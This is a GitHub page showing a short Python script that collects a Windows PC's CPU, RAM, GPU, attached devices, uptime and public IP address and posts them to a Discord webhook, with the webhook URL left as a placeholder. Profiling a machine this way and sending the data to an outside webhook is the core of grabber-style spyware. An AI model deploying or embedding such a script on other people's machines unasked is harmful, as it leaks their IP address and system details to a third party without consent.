-
Notifications
You must be signed in to change notification settings - Fork 0
/
cpu-gpu-ip.py
79 lines (68 loc) · 2.45 KB
/
cpu-gpu-ip.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import psutil
import wmi
import requests
import time
# Get information about CPU
cpu_count = psutil.cpu_count()
cpu_freq = psutil.cpu_freq()
cpu_percent = psutil.cpu_percent()
# Get information about RAM
virtual_memory = psutil.virtual_memory()
total_ram = virtual_memory.total
used_ram = virtual_memory.used
# Get information about GPU
c = wmi.WMI()
gpu_info = c.Win32_VideoController()[0]
gpu_name = gpu_info.Name
# Get information about connected mouse, keyboard, and monitor
devices = wmi.WMI().Win32_PnPEntity()
connected_mouse = [device.Name for device in devices if device.Name and 'mouse' in device.Name.lower()]
connected_keyboard = [device.Name for device in devices if device.Name and 'keyboard' in device.Name.lower()]
connected_monitor = [device.Name for device in devices if device.Name and 'monitor' in device.Name.lower()]
# Get information about uptime
boot_time = psutil.boot_time()
uptime_seconds = int(time.time() - boot_time)
# Get IP information
ip_response = requests.get("https://api64.ipify.org")
ip = ip_response.text
# Prepare the payload to send to the discord webhook
payload = {
"embeds": [{
"title": "PC Information",
"fields": [
{
"name": "CPU",
"value": f"Cores: {cpu_count}\nFrequency: {cpu_freq.current:.0f} MHz\nUsage: {cpu_percent}%",
"inline": True
},
{
"name": "RAM",
"value": f"Total: {total_ram / 1024**3:.2f} GB\nUsed: {used_ram / 1024**3:.2f} GB",
"inline": True
},
{
"name": "GPU",
"value": f"Name: {gpu_name}",
"inline": True
},
{
"name": "Connected Devices",
"value": f"Mouse: {connected_mouse}\nKeyboard: {connected_keyboard}\nMonitor: {connected_monitor}",
"inline": False
},
{
"name": "Uptime",
"value": f"{uptime_seconds // 3600} hours {(uptime_seconds % 3600) // 60} minutes",
"inline": True
},
{
"name": "IP",
"value": f"{ip}",
"inline": True
},
]
}]
}
# Send the payload to the Discord webhook
# Send the payload to the Discord webhook
response = requests.post("enter your webhook url", json=payload)